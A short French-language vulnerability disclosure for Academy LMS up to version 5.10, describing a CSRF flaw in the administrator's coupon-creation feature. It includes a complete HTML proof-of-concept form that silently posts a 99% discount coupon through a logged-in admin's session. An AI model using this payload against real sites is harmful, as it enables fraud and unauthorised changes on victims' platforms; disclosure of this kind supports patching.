
Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
Academy LMS est une application où les utilisateurs peuvent créer et promouvoir des cours. La fonctionnalité d'ajout d'un coupon est vulnérable aux CSRF car il n'y a pas de jeton, ce qui signifie que cette attaque ne peut être évitée.
La première étape de notre preuve de concept consiste à s'authentifier sur la plateforme en tant qu'utilisateur administrateur.
Ensuite, il suffit d'accéder à la page qui contient le code pour exploiter la vulnérabilité, et constater qu'un nouveau coupon a été créé automatiquement.
Code utilisé dans l'exploit :
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>